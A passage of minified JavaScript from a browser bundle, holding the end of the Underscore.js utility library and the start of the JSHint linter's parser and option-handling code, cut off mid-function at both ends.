i=0;i<n;i++)r[i]=[t[i],e[t[i]]];return r},m.invert=function(e){var t={},n=m.keys(e);for(var r=0,i=n.length;r<i;r++)t[e[n[r]]]=n[r];return t},m.functions=m.methods=function(e){var t=[];for(var n in e)m.isFunction(e[n])&&t.push(n);return t.sort()},m.extend=b(m.allKeys),m.extendOwn=m.assign=b(m.keys),m.findKey=function(e,t,n){t=y(t,n);var r=m.keys(e),i;for(var s=0,o=r.length;s<o;s++){i=r[s];if(t(e[i],i,e))return i}},m.pick=function(e,t,n){var r={},i=e,s,o;if(i==null)return r;m.isFunction(t)?(o=m.allKeys(i),s=g(t,n)):(o=k(arguments,!1,!1,1),s=function(e,t,n){return t in n},i=Object(i));for(var u=0,a=o.length;u<a;u++){var f=o[u],l=i[f];s(l,f,i)&&(r[f]=l)}return r},m.omit=function(e,t,n){if(m.isFunction(t))t=m.negate(t);else{var r=m.map(k(arguments,!1,!1,1),String);t=function(e,t){return!m.contains(r,t)}}return m.pick(e,t,n)},m.defaults=b(m.allKeys,!0),m.create=function(e,t){var n=w(e);return t&&m.extendOwn(n,t),n},m.clone=function(e){return m.isObject(e)?m.isArray(e)?e.slice():m.extend({},e):e},m.tap=function(e,t){return t(e),e},m.isMatch=function(e,t){var n=m.keys(t),r=n.length;if(e==null)return!r;var i=Object(e);for(var s=0;s<r;s++){var o=n[s];if(t[o]!==i[o]||!(o in i))return!1}return!0};var P=function(e,t,n,r){if(e===t)return e!==0||1/e===1/t;if(e==null||t==null)return e===t;e instanceof m&&(e=e._wrapped),t instanceof m&&(t=t._wrapped);var i=f.call(e);if(i!==f.call(t))return!1;switch(i){case\"[object RegExp]\":case\"[object String]\":return\"\"+e==\"\"+t;case\"[object Number]\":if(+e!==+e)return+t!==+t;return+e===0?1/+e===1/t:+e===+t;case\"[object Date]\":case\"[object Boolean]\":return+e===+t}var s=i===\"[object Array]\";if(!s){if(typeof e!=\"object\"||typeof t!=\"object\")return!1;var o=e.constructor,u=t.constructor;if(o!==u&&!(m.isFunction(o)&&o instanceof o&&m.isFunction(u)&&u instanceof u)&&\"constructor\"in e&&\"constructor\"in t)return!1}n=n||[],r=r||[];var a=n.length;while(a--)if(n[a]===e)return r[a]===t;n.push(e),r.push(t);if(s){a=e.length;if(a!==t.length)return!1;while(a--)if(!P(e[a],t[a],n,r))return!1}else{var l=m.keys(e),c;a=l.length;if(m.keys(t).length!==a)return!1;while(a--){c=l[a];if(!m.has(t,c)||!P(e[c],t[c],n,r))return!1}}return n.pop(),r.pop(),!0};m.isEqual=function(e,t){return P(e,t)},m.isEmpty=function(e){return e==null?!0:T(e)&&(m.isArray(e)||m.isString(e)||m.isArguments(e))?e.length===0:m.keys(e).length===0},m.isElement=function(e){return!!e&&e.nodeType===1},m.isArray=c||function(e){return f.call(e)===\"[object Array]\"},m.isObject=function(e){var t=typeof e;return t===\"function\"||t===\"object\"&&!!e},m.each([\"Arguments\",\"Function\",\"String\",\"Number\",\"Date\",\"RegExp\",\"Error\"],function(e){m[\"is\"+e]=function(t){return f.call(t)===\"[object \"+e+\"]\"}}),m.isArguments(arguments)||(m.isArguments=function(e){return m.has(e,\"callee\")}),typeof /./!=\"function\"&&typeof Int8Array!=\"object\"&&(m.isFunction=function(e){return typeof e==\"function\"||!1}),m.isFinite=function(e){return isFinite(e)&&!isNaN(parseFloat(e))},m.isNaN=function(e){return m.isNumber(e)&&e!==+e},m.isBoolean=function(e){return e===!0||e===!1||f.call(e)===\"[object Boolean]\"},m.isNull=function(e){return e===null},m.isUndefined=function(e){return e===void 0},m.has=function(e,t){return e!=null&&l.call(e,t)},m.noConflict=function(){return e._=r,this},m.identity=function(e){return e},m.constant=function(e){return function(){return e}},m.noop=function(){},m.property=E,m.propertyOf=function(e){return e==null?function(){}:function(t){return e[t]}},m.matcher=m.matches=function(e){return e=m.extendOwn({},e),function(t){return m.isMatch(t,e)}},m.times=function(e,t,n){var r=Array(Math.max(0,e));t=g(t,n,1);for(var i=0;i<e;i++)r[i]=t(i);return r},m.random=function(e,t){return t==null&&(t=e,e=0),e+Math.floor(Math.random()*(t-e+1))},m.now=Date.now||function(){return(new Date).getTime()};var H={\"&\":\"&amp;\",\"<\":\"&lt;\",\">\":\"&gt;\",'\"':\"&quot;\",\"'\":\"&#x27;\",\"`\":\"&#x60;\"},B=m.invert(H),j=function(e){var t=function(t){return e[t]},n=\"(?:\"+m.keys(e).join(\"|\")+\")\",r=RegExp(n),i=RegExp(n,\"g\");return function(e){return e=e==null?\"\":\"\"+e,r.test(e)?e.replace(i,t):e}};m.escape=j(H),m.unescape=j(B),m.result=function(e,t,n){var r=e==null?void 0:e[t];return r===void 0&&(r=n),m.isFunction(r)?r.call(e):r};var F=0;m.uniqueId=function(e){var t=++F+\"\";return e?e+t:t},m.templateSettings={evaluate:/<%([\\s\\S]+?)%>/g,interpolate:/<%=([\\s\\S]+?)%>/g,escape:/<%-([\\s\\S]+?)%>/g};var I=/(.)^/,q={\"'\":\"'\",\"\\\\\":\"\\\\\",\"\\r\":\"r\",\"\\n\":\"n\",\"\\u2028\":\"u2028\",\"\\u2029\":\"u2029\"},R=/\\\\|'|\\r|\\n|\\u2028|\\u2029/g,U=function(e){return\"\\\\\"+q[e]};m.template=function(e,t,n){!t&&n&&(t=n),t=m.defaults({},t,m.templateSettings);var r=RegExp([(t.escape||I).source,(t.interpolate||I).source,(t.evaluate||I).source].join(\"|\")+\"|$\",\"g\"),i=0,s=\"__p+='\";e.replace(r,function(t,n,r,o,u){return s+=e.slice(i,u).replace(R,U),i=u+t.length,n?s+=\"'+\\n((__t=(\"+n+\"))==null?'':_.escape(__t))+\\n'\":r?s+=\"'+\\n((__t=(\"+r+\"))==null?'':__t)+\\n'\":o&&(s+=\"';\\n\"+o+\"\\n__p+='\"),t}),s+=\"';\\n\",t.variable||(s=\"with(obj||{}){\\n\"+s+\"}\\n\"),s=\"var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\\n\"+s+\"return __p;\\n\";try{var o=new Function(t.variable||\"obj\",\"_\",s)}catch(u){throw u.source=s,u}var a=function(e){return o.call(this,e,m)},f=t.variable||\"obj\";return a.source=\"function(\"+f+\"){\\n\"+s+\"}\",a},m.chain=function(e){var t=m(e);return t._chain=!0,t};var z=function(e,t){return e._chain?m(t).chain():t};m.mixin=function(e){m.each(m.functions(e),function(t){var n=m[t]=e[t];m.prototype[t]=function(){var e=[this._wrapped];return u.apply(e,arguments),z(this,n.apply(m,e))}})},m.mixin(m),m.each([\"pop\",\"push\",\"reverse\",\"shift\",\"sort\",\"splice\",\"unshift\"],function(e){var t=i[e];m.prototype[e]=function(){var n=this._wrapped;return t.apply(n,arguments),(e===\"shift\"||e===\"splice\")&&n.length===0&&delete n[0],z(this,n)}}),m.each([\"concat\",\"join\",\"slice\"],function(e){var t=i[e];m.prototype[e]=function(){return z(this,t.apply(this._wrapped,arguments))}}),m.prototype.value=function(){return this._wrapped},m.prototype.valueOf=m.prototype.toJSON=m.prototype.value,m.prototype.toString=function(){return\"\"+this._wrapped},typeof define==\"function\"&&define.amd&&ace.define(\"underscore\",[],function(){return m})}).call(this)},{}],\"/node_modules/jshint/src/jshint.js\":[function(e,t,n){var r=e(\"underscore\"),i=e(\"events\"),s=e(\"./vars.js\"),o=e(\"./messages.js\"),u=e(\"./lex.js\").Lexer,a=e(\"./reg.js\"),f=e(\"./state.js\").state,l=e(\"./style.js\"),c=e(\"./options.js\"),h=function(){\"use strict\";function M(e,t){return e=e.trim(),/^[+-]W\\d{3}$/g.test(e)?!0:c.validNames.indexOf(e)===-1&&t.type!==\"jslint\"&&!r.has(c.removed,e)?(X(\"E001\",t,e),!1):!0}function D(e){return Object.prototype.toString.call(e)===\"[object String]\"}function P(e,t){return e?!e.identifier||e.value!==t?!1:!0:!1}function H(e){if(!e.reserved)return!1;var t=e.meta;if(t&&t.isFutureReservedWord&&f.inES5()){if(!t.es5)return!1;if(t.strictOnly&&!f.option.strict&&!f.isStrict())return!1;if(e.isProperty)return!1}return!0}function B(e,t){return e.replace(/\\{([^{}]*)\\}/g,function(e,n){var r=t[n];return typeof r==\"string\"||typeof r==\"number\"?r:e})}function j(e,t){Object.keys(t).forEach(function(n){if(r.has(h.blacklist,n))return;e[n]=t[n]})}function F(){if(f.option.enforceall){for(var e in c.bool.enforcing)f.option[e]===undefined&&!c.noenforceall[e]&&(f.option[e]=!0);for(var t in c.bool.relaxing)f.option[t]===undefined&&(f.option[t]=!1)}}function I(){F(),f.option.es3||j(T,s.ecmaIdentifiers[5]),f.option.esnext&&j(T,s.ecmaIdentifiers[6]),f.option.module&&(Kt(f.funct)||X(\"E055\",f.tokens.next,\"module\"),f.inESNext()||z(\"W134\",f.tokens.next,\"module\",6)),f.option.couch&&j(T,s.couch),f.option.qunit&&j(T,s.qunit),f.option.rhino&&j(T,s.rhino),f.option.shelljs&&(j(T,s.shelljs),j(T,s.node)),f.option.typed&&j(T,s.typed),f.option.phantom&&j(T,s.phantom),f.option.prototypejs&&j(T,s.prototypejs),f.option.node&&(j(T,s.node),j(T,s.typed)),f.option.devel&&j(T,s.devel),f.option.dojo&&j(T,s.dojo),f.option.browser&&(j(T,s.browser),j(T,s.typed)),f.option.browserify&&(j(T,s.browser),j(T,s.typed),j(T,s.browserify)),f.option.nonstandard&&j(T,s.nonstandard),f.option.jasmine&&j(T,s.jasmine),f.option.jquery&&j(T,s.jquery),f.option.mootools&&j(T,s.mootools),f.option.worker&&j(T,s.worker),f.option.wsh&&j(T,s.wsh),f.option.globalstrict&&f.option.strict!==!1&&(f.option.strict=!0),f.option.yui&&j(T,s.yui),f.option.mocha&&j(T,s.mocha)}function q(e,t,n){var r=Math.floor(t/f.lines.length*100),i=o.errors[e].desc;throw{name:\"JSHintError\",line:t,character:n,message:i+\" (\"+r+\"% scanned).\",raw:i,code:e}}function R(e,t,n,r){!f.ignored[t]&&f.option.undef!==!1&&h.undefs.push([e,t,n,r])}function U(){var e=f.ignoredLines;if(r.isEmpty(e))return;h.errors=r.reject(h.errors,function(t){return e[t.line]})}function z(e,t,n,r,i,s){var u,a,l,c;if(/^W\\d{3}$/.test(e)){if(f.ignored[e])return;c=o.warnings[e]}else/E\\d{3}/.test(e)?c=o.errors[e]:/I\\d{3}/.test(e)&&(c=o.info[e]);return t=t||f.tokens.next||{},t.id===\"(end)\"&&(t=f.tokens.curr),a=t.line||0,u=t.from||0,l={id:\"(error)\",raw:c.desc,code:c.code,evidence:f.lines[a-1]||\"\",line:a,character:u,scope:h.scope,a:n,b:r,c:i,d:s},l.reason=B(c.desc,l),h.errors.push(l),U(),h.errors.length>=f.option.maxerr&&q(\"E043\",a,u),l}function W(e,t,n,r,i,s,o){return z(e,{line:t,from:n},r,i,s,o)}function X(e,t,n,r,i,s){z(e,t,n,r,i,s)}function V(e,t,n,r,i,s,o){return X(e,{line:t,from:n},r,i,s,o)}function $(e,t){var n;return n={id:\"(internal)\",elem:e,value:t},h.internals.push(n),n}function J(e,t){var n=t.type,i=t.token,s=t.isblockscoped;n===\"exception\"&&r.has(f.funct[\"(context)\"],e)&&f.funct[e]!==!0&&!f.option.node&&z(\"W002\",f.tokens.next,e),r.has(f.funct,e)&&!f.funct[\"(global)\"]&&(f.funct[e]===!0?f.option.latedef&&(f.option.latedef===!0&&r.contains([f.funct[e],n],\"unction\")||!r.contains([f.funct[e],n],\"unction\"))&&z(\"W003\",f.tokens.next,e):((!f.option.shadow||r.contains([\"inner\",\"outer\"],f.option.shadow))&&n!==\"exception\"||f.funct[\"(blockscope)\"].getlabel(e))&&z(\"W004\",f.tokens.next,e)),f.funct[\"(context)\"]&&r.has(f.funct[\"(context)\"],e)&&n!==\"function\"&&f.option.shadow===\"outer\"&&z(\"W123\",f.tokens.next,e),s?(f.funct[\"(blockscope)\"].current.add(e,n,f.tokens.curr),f.funct[\"(blockscope)\"].atTop()&&p[e]&&(f.tokens.curr.exported=!0)):(f.funct[\"(blockscope)\"].shadow(e),f.funct[e]=n,i&&(f.funct[\"(tokens)\"][e]=i),f.funct[\"(global)\"]?(m[e]=f.funct,r.has(g,e)&&(f.option.latedef&&(f.option.latedef===!0&&r.contains([f.funct[e],n],\"unction\")||!r.contains([f.funct[e],n],\"unction\"))&&z(\"W003\",f.tokens.next,e),delete g[e])):N[e]=f.funct)}function K(){var e=f.tokens.next,t=e.body.match(/(-\\s+)?[^\\s,:]+(?:\\s*:\\s*(-\\s+)?[^\\s,]+)?/g)||[],i={};if(e.type===\"globals\"){t.forEach(function(n,r){n=n.split(\":\");var s=(n[0]||\"\").trim(),o=(n[1]||\"\").trim();if(s===\"-\"||!s.length){if(r>0&&r===t.length-1)return;X(\"E002\",e);return}s.charAt(0)===\"-\"?(s=s.slice(1),o=!1,h.blacklist[s]=s,delete T[s]):i[s]=o===\"true\"}),j(T,i);for(var s in i)r.has(i,s)&&(n[s]=e)}e.type===\"exported\"&&t.forEach(function(n,r){if(!n.length){if(r>0&&r===t.length-1)return;X(\"E002\",e);return}p[n]=!0}),e.type===\"members\"&&(x=x||{},t.forEach(function(e){var t=e.charAt(0),n=e.charAt(e.length-1);t===n&&(t==='\"'||t===\"'\")&&(e=e.substr(1,e.length-2).replace('\\\\\"','\"')),x[e]=!1}));var o=[\"maxstatements\",\"maxparams\",\"maxdepth\",\"maxcomplexity\",\"maxerr\",\"maxlen\",\"indent\"];if(e.type===\"jshint\"||e.type===\"jslint\")t.forEach(function(t){t=t.split(\":\");var n=(t[0]||\"\").trim(),r=(t[1]||\"\").trim();if(!M(n,e))return;if(o.indexOf(n)>=0){if(r!==\"false\"){r=+r;if(typeof r!=\"number\"||!isFinite(r)||r<=0||Math.floor(r)!==r){X(\"E032\",e,t[1].trim());return}f.option[n]=r}else f.option[n]=n===\"indent\"?4:!1;return}if(n===\"validthis\"){if(f.funct[\"(global)\"])return void X(\"E009\");if(r!==\"true\"&&r!==\"false\")return void X(\"E002\",e);f.option.validthis=r===\"true\";return}if(n===\"quotmark\"){switch(r){case\"true\":case\"false\":f.option.quotmark=r===\"true\";break;case\"double\":case\"single\":f.option.quotmark=r;break;default:X(\"E002\",e)}return}if(n===\"shadow\"){switch(r){case\"true\":f.option.shadow=!0;break;case\"outer\":f.option.shadow=\"outer\";break;case\"false\":case\"inner\":f.option.shadow=\"inner\";break;default:X(\"E002\",e)}return}if(n===\"unused\"){switch(r){case\"true\":f.option.unused=!0;break;case\"false\":f.option.unused=!1;break;case\"vars\":case\"strict\":f.option.unused=r;break;default:X(\"E002\",e)}return}if(n===\"latedef\"){switch(r){case\"true\":f.option.latedef=!0;break;case\"false\":f.option.latedef=!1;break;case\"nofunc\":f.option.latedef=\"nofunc\";break;default:X(\"E002\",e)}return}if(n===\"ignore\"){switch(r){case\"start\":f.ignoreLinterErrors=!0;break;case\"end\":f.ignoreLinterErrors=!1;break;case\"line\":f.ignoredLines[e.line]=!0,U();break;default:X(\"E002\",e)}return}var i=/^([+-])(W\\d{3})$/g.exec(n);if(i){f.ignored[i[2]]=i[1]===\"-\";return}var s;if(r===\"true\"||r===\"false\"){e.type===\"jslint\"?(s=c.renamed[n]||n,f.option[s]=r===\"true\",c.inverted[s]!==undefined&&(f.option[s]=!f.option[s])):f.option[n]=r===\"true\",n===\"newcap\"&&(f.option[\"(explicitNewcap)\"]=!0);return}X(\"E002\",e)}),I()}function Q(e){var t=e||0,n=0,r;while(n<=t)r=w[n],r||(r=w[n]=E.token()),n+=1;return!r&&f.tokens.next.id===\"(end)\"?f.tokens.next:r}function G(){var e=0,t;do t=Q(e++);while(t.id===\"(endline)\");return t}function Y(e,t){switch(f.tokens.curr.id){case\"(number)\":f.tokens.next.id===\".\"&&z(\"W005\",f.tokens.curr);break;case\"-\":(f.tokens.next.id===\"-\"||f.tokens.next.id===\"--\")&&z(\"W006\");break;case\"+\":(f.tokens.next.id===\"+\"||f.tokens.next.id===\"++\")&&z(\"W007\")}e&&f.tokens.next.id!==e&&(t?f.tokens.next.id===\"(end)\"?X(\"E019\",t,t.id):X(\"E020\",f.tokens.next,e,t.id,t.line,f.tokens.next.value):(f.tokens.next.type!==\"(identifier)\"||f.tokens.next.value!==e)&&z(\"W116\",f.tokens.next,e,f.tokens.next.value)),f.tokens.prev=f.tokens.curr,f.tokens.curr=f.tokens.next;for(;;){f.tokens.next=w.shift()||E.token(),f.tokens.next||q(\"E041\",f.tokens.curr.line);if(f.tokens.next.id===\"(end)\"||f.tokens.next.id===\"(error)\")return;f.tokens.next.check&&f.tokens.next.check();if(f.tokens.next.isSpecial)K();else if(f.tokens.next.id!==\"(endline)\")break}}function Z(e){return e.infix||!e.identifier&&!e.template&&!!e.led}function et(){var e=f.tokens.curr,t=f.tokens.next;return t.id===\";\"||t.id===\"}\"||t.id===\":\"?!0:Z(t)===Z(e)||e.id===\"yield\"&&f.inMoz()?e.line!==rt(t):!1}function tt(e){return!e.left&&e.arity!==\"unary\"}function nt(e,t){var n,i=!1,s=!1,o=!1;f.nameStack.push(),!t&&f.tokens.next.value===\"let\"&&Q(0).value===\"(\"&&(f.inMoz()||z(\"W118\",f.tokens.next,\"let expressions\"),o=!0,f.funct[\"(blockscope)\"].stack(),Y(\"let\"),Y(\"(\"),f.tokens.prev.fud(),Y(\")\")),f.tokens.next.id===\"(end)\"&&X(\"E006\",f.tokens.curr);var u=f.option.asi&&f.tokens.prev.line!==rt(f.tokens.curr)&&r.contains([\"]\",\")\"],f.tokens.prev.id)&&r.contains([\"[\",\"(\"],f.tokens.curr.id);u&&z(\"W014\",f.tokens.curr,f.tokens.curr.id),Y(),t&&(f.funct[\"(verb)\"]=f.tokens.curr.value,f.tokens.curr.beginsStmt=!0);if(t===!0&&f.tokens.curr.fud)n=f.tokens.curr.fud();else{f.tokens.curr.nud?n=f.tokens.curr.nud():X(\"E030\",f.tokens.curr,f.tokens.curr.id);while((e<f.tokens.next.lbp||f.tokens.next.type===\"(template)\")&&!et())i=f.tokens.curr.value===\"Array\",s=f.tokens.curr.value===\"Object\",n&&(n.value||n.first&&n.first.value)&&(n.value!==\"new\"||n.first&&n.first.value&&n.first.value===\".\")&&(i=!1,n.value!==f.tokens.curr.value&&(s=!1)),Y(),i&&f.tokens.curr.id===\"(\"&&f.tokens.next.id===\")\"&&z(\"W009\",f.tokens.curr),s&&f.tokens.curr.id===\"(\"&&f.tokens.next.id===\")\"&&z(\"W010\",f.tokens.curr),n&&f.tokens.curr.led?n=f.tokens.curr.led(n):X(\"E033\",f.tokens.curr,f.tokens.curr.id)}return o&&f.funct[\"(blockscope)\"].unstack(),f.nameStack.pop(),n}function rt(e){return e.startLine||e.line}function it(e,t){e=e||f.tokens.curr,t=t||f.tokens.next,!f.option.laxbreak&&e.line!==rt(t)&&z(\"W014\",t,t.value)}function st(e){e=e||f.tokens.curr,e.line!==rt(f.tokens.next)&&z(\"E022\",e,e.value)}function ot(e,t){e.line!==rt(t)&&(f.option.laxcomma||(ut.first&&(z(\"I001\"),ut.first=!1),z(\"W014\",e,t.value)))}function ut(e){e=e||{},e.peek?ot(f.tokens.prev,f.tokens.curr):(ot(f.tokens.curr,f.tokens.next),Y(\",\"));if(f.tokens.next.identifier&&(!e.property||!f.inES5()))switch(f.tokens.next.value){case\"break\":case\"case\":case\"catch\":case\"continue\":case\"default\":case\"do\":case\"else\":case\"finally\":case\"for\":case\"if\":case\"in\":case\"instanceof\":case\"return\":case\"switch\":case\"throw\":case\"try\":case\"var\":case\"let\":case\"while\":case\"with\":return X(\"E024\",f.tokens.next,f.tokens.next.value),!1}if(f.tokens.next.type===\"(punctuator)\")switch(f.tokens.next.value){case\"}\":case\"]\":case\",\":if(e.allowTrailing)return!0;case\")\":return X(\"E024\",f.tokens.next,f.tokens.next.value),!1}return!0}function at(e,t){var n=f.syntax[e];if(!n||typeof n!=\"object\")f.syntax[e]=n={id:e,lbp:t,value:e};return n}function ft(e){var t=at(e,0);return t.delim=!0,t}function lt(e,t){var n=ft(e);return n.identifier=n.reserved=!0,n.fud=t,n}function ct(e,t){var n=lt(e,t);return n.block=!0,n}function ht(e){var t=e.id.charAt(0);if(t>=\"a\"&&t<=\"z\"||t>=\"A\"&&t<=\"Z\")e.identifier=e.reserved=!0;return e}function pt(e,t){var n=at(e,150);return ht(n),n.nud=typeof t==\"function\"?t:function(){this.arity=\"unary\",this.right=nt(150);if(this.id===\"++\"||this.id===\"--\")f.option.plusplus?z(\"W016\",this,this.id):this.right&&(!this.right.identifier||H(this.right))&&this.right.id!==\".\"&&this.right.id!==\"[\"&&z(\"W017\",this),this.right&&this.right.identifier&&f.funct[\"(blockscope)\"].labeltype(this.right.value)===\"const\"&&X(\"E013\",this,this.right.value);return this},n}function dt(e,t){var n=ft(e);return n.type=e,n.nud=t,n}function vt(e,t){var n=dt(e,t);return n.identifier=!0,n.reserved=!0,n}function mt(e,t){var n=dt(e,t&&t.nud||function(){return this});return t=t||{},t.isFutureReservedWord=!0,n.value=e,n.identifier=!0,n.reserved=!0,n.meta=t,n}function gt(e,t){return vt(e,function(){return typeof t==\"function\"&&t(this),this})}function yt(e,t,n,r){var i=at(e,n);return ht(i),i.infix=!0,i.led=function(i){return r||it(f.tokens.prev,f.tokens.curr),(e===\"in\"||e===\"instanceof\")&&i.id===\"!\"&&z(\"W018\",i,\"!\"),typeof t==\"function\"?t(i,this):(this.left=i,this.right=nt(n),this)},i}function bt(e){var t=at(e,42);return t.led=function(e){return it(f.tokens.prev,f.tokens.curr),this.left=e,this.right=Gt({type:\"arrow\",loneArg:e}),this},t}function wt(e,t){var n=at(e,100);return n.led=function(e){it(f.tokens.prev,f.tokens.curr),this.left=e;var n=this.right=nt(100);return P(e,\"NaN\")||P(n,\"NaN\")?z(\"W019\",this):t&&t.apply(this,[e,n]),(!e||!n)&&q(\"E041\",f.tokens.curr.line),e.id===\"!\"&&z(\"W018\",e,\"!\"),n.id===\"!\"&&z(\"W018\",n,\"!\"),this},n}function Et(e){return e&&(e.type===\"(number)\"&&+e.value===0||e.type===\"(string)\"&&e.value===\"\"||e.type===\"null\"&&!f.option.eqnull||e.type===\"true\"||e.type===\"false\"||e.type===\"undefined\")}function xt(e,t,n){var i;return n.option.notypeof?!1:!e||!t?!1:(i=n.inESNext()?St.es6:St.es3,t.type===\"(identifier)\"&&t.value===\"typeof\"&&e.type===\"(string)\"?!r.contains(i,e.value):!1)}function Tt(e,t){var n=!1;return e.type===\"this\"&&t.funct[\"(context)\"]===null?n=!0:e.type===\"(identifier)\"&&(t.option.node&&e.value===\"global\"?n=!0:t.option.browser&&(e.value===\"window\"||e.value===\"document\")&&(n=!0)),n}function Nt(e){function n(e){if(typeof e!=\"object\")return;return e.right===\"prototype\"?e:n(e.left)}function r(e){while(!e.identifier&&typeof e.left==\"object\")e=e.left;if(e.identifier&&t.indexOf(e.value)>=0)return e.value}var t=[\"Array\",\"ArrayBuffer\",\"Boolean\",\"Collator\",\"DataView\",\"Date\",\"DateTimeFormat\",\"Error\",\"EvalError\",\"Float32Array\",\"Float64Array\",\"Function\",\"Infinity\",\"Intl\",\"Int16Array\",\"Int32Array\",\"Int8Array\",\"Iterator\",\"Number\",\"NumberFormat\",\"Object\",\"RangeError\",\"ReferenceError\",\"RegExp\",\"StopIteration\",\"String\",\"SyntaxError\",\"TypeError\",\"Uint16Array\",\"Uint32Array\",\"Uint8Array\",\"Uint8ClampedArray\",\"URIError\"],i=n(e);if(i)return r(i)}function Ct(e,t,n){var r=yt(e,typeof t==\"function\"?t:function(e,t){t.left=e;if(e){if(f.option.freeze){var n=Nt(e);n&&z(\"W121\",e,n)}T[e.value]===!1&&N[e.value][\"(global)\"]===!0?z(\"W020\",e):e[\"function\"]&&z(\"W021\",e,e.value),f.funct[\"(blockscope)\"].labeltype(e.value)===\"const\"&&X(\"E013\",e,e.value);if(e.id===\".\")return e.left?e.left.value===\"arguments\"&&!f.isStrict()&&z(\"E031\",t):z(\"E031\",t),f.nameStack.set(f.tokens.prev),t.right=nt(10),t;if(e.id===\"[\")return f.tokens.curr.left.first?f.tokens.curr.left.first.forEach(function(e){e&&f.funct[e.value]===\"const\"&&X(\"E013\",e,e.value)}):e.left?e.left.value===\"arguments\"&&!f.isStrict()&&z(\"E031\",t):z(\"E031\",t),f.nameStack.set(e.right),t.right=nt(10),t;if(e.identifier&&!H(e))return f.funct[e.value]===\"exception\"&&z(\"W022\",e),f.nameStack.set(e),t.right=nt(10),t;e===f.syntax[\"function\"]&&z(\"W023\",f.tokens.curr)}X(\"E031\",t)},n);return r.exps=!0,r.assign=!0,r}function kt(e,t,n){var r=at(e,n);return ht(r),r.led=typeof t==\"function\"?t:function(e){return f.option.bitwise&&z(\"W016\",this,this.id),this.left=e,this.right=nt(n),this},r}function Lt(e){return Ct(e,function(e,t){f.option.bitwise&&z(\"W016\",t,t.id);if(e)return e.id===\".\"||e.id===\"[\"||e.identifier&&!H(e)?(nt(10),t):(e===f.syntax[\"function\"]&&z(\"W023\",f.tokens.curr),t);X(\"E031\",t)},20)}function At(e){var t=at(e,150);return t.led=function(e){return f.option.plusplus?z(\"W016\",this,this.id):(!e.identifier||H(e))&&e.id!==\".\"&&e.id!==\"[\"&&z(\"W017\",this),e&&e.identifier&&f.funct[\"(blockscope)\"].labeltype(e.value)===\"const\"&&X(\"E013\",this,e.value),this.left=e,this},t}function Ot(e,t,n){if(!f.tokens.next.identifier)return;n||Y();var r=f.tokens.curr,i=f.tokens.curr.value;return H(r)?t&&f.inES5()?i:e&&i===\"undefined\"?i:(z(\"W024\",f.tokens.curr,f.tokens.curr.id),i):i}function Mt(e,t){var n=Ot(e,t,!1);if(n)return n;if(f.tokens.next.value===\"...\"){f.option.esnext||z(\"W119\",f.tokens.next,\"spread/rest operator\"),Y();if(mn(f.tokens.next,[\"...\"])){z(\"E024\",f.tokens.next,\"...\");while(mn(f.tokens.next,[\"...\"]))Y()}if(!f.tokens.next.identifier){z(\"E024\",f.tokens.curr,\"...\");return}return Mt(e,t)}X(\"E030\",f.tokens.next,f.tokens.next.value),f.tokens.next.id!==\";\"&&Y()}function _t(e){var t=0,n;if(f.tokens.next.id!==\";\"||e.inBracelessBlock)return;for(;;){do n=Q(t),t+=1;while(n.id!==\"(end)\"&&n.id===\"(comment)\");if(n.reach)return;if(n.id!==\"(endline)\"){if(n.id===\"function\"){f.option.latedef===!0&&z(\"W026\",n);break}z(\"W027\",n,n.value,e.value);break}}}function Dt(){if(f.tokens.next.id!==\";\"){if(f.tokens.next.isUnclosed)return Y();f.option.asi||(!f.option.lastsemic||f.tokens.next.id!==\"}\"||rt(f.tokens.next)!==f.tokens.curr.line)&&W(\"W033\",f.tokens.curr.line,f.tokens.curr.character)}else Y(\";\")}function Pt(){var e=b,t,n=N,r=f.tokens.next;if(r.id===\";\"){Y(\";\");return}var i=H(r);i&&r.meta&&r.meta.isFutureReservedWord&&Q().id===\":\"&&(z(\"W024\",r,r.id),i=!1);if(r.value===\"module\"&&r.type===\"(identifier)\"&&Q().type===\"(identifier)\"){f.inESNext()||z(\"W119\",f.tokens.curr,\"module\"),Y(\"module\");var s=Mt();J(s,{type:\"unused\",token:f.tokens.curr}),Y(\"from\"),Y(\"(string)\"),Dt();return}r.identifier&&!i&&Q().id===\":\"&&(Y(),Y(\":\"),N=Object.create(n),J(r.value,{type:\"label\"}),!f.tokens.next.labelled&&f.tokens.next.value!==\"{\"&&z(\"W028\",f.tokens.next,r.value,f.tokens.next.value),f.tokens.next.label=r.value,r=f.tokens.next);if(r.id===\"{\"){var o=f.funct[\"(verb)\"]===\"case\"&&f.tokens.curr.value===\":\";jt(!0,!0,!1,!1,o);return}return t=nt(0,!0),t&&(!t.identifier||t.value!==\"function\")&&t.type!==\"(punctuator)\"&&!f.isStrict()&&f.option.globalstrict&&f.option.strict&&z(\"E007\"),r.block||(!f.option.expr&&(!t||!t.exps)?z(\"W030\",f.tokens.curr):f.option.nonew&&t&&t.left&&t.id===\"(\"&&t.left.id===\"new\"&&z(\"W031\",r),Dt()),b=e,N=n,t}function Ht(){var e=[],t;while(!f.tokens.next.reach&&f.tokens.next.id!==\"(end)\")f.tokens.next.id===\";\"?(t=Q(),(!t||t.id!==\"(\"&&t.id!==\"[\")&&z(\"W032\"),Y(\";\")):e.push(Pt());return e}function Bt(){var e,t,n;while(f.tokens.next.id===\"(string)\"){t=Q(0);if(t.id===\"(endline)\"){e=1;do n=Q(e++);while(n.id===\"(endline)\");if(n.id===\";\")t=n;else{if(n.value===\"[\"||n.value===\".\")return;(!f.option.asi||n.value===\"(\")&&z(\"W033\",f.tokens.next)}}else{if(t.id===\".\"||t.id===\"[\")return;t.id!==\";\"&&z(\"W033\",t)}Y(),f.directive[f.tokens.curr.value]&&z(\"W034\",f.tokens.curr,f.tokens.curr.value),f.tokens.curr.value===\"use strict\"&&(f.option[\"(explicitNewcap)\"]||(f.option.newcap=!0),f.option.undef=!0),f.directive[f.tokens.curr.value]=!0,t.id===\";\"&&Y(\";\")}}function jt(e,t,n,i,s){var o,u=y,a=b,l,c=N,h,p,d;y=e;if(!e||!f.option.funcscope)N=Object.create(N);h=f.tokens.next;var v=f.funct[\"(metrics)\"];v.nestedBlockDepth+=1,v.verifyMaxNestedBlockDepthPerFunction();if(f.tokens.next.id===\"{\"){Y(\"{\"),f.funct[\"(blockscope)\"].stack(),p=f.tokens.curr.line;if(f.tokens.next.id!==\"}\"){b+=f.option.indent;while(!e&&f.tokens.next.from>b)b+=f.option.indent;if(n){l={};for(d in f.directive)r.has(f.directive,d)&&(l[d]=f.directive[d]);Bt(),f.option.strict&&f.funct[\"(context)\"][\"(global)\"]&&!l[\"use 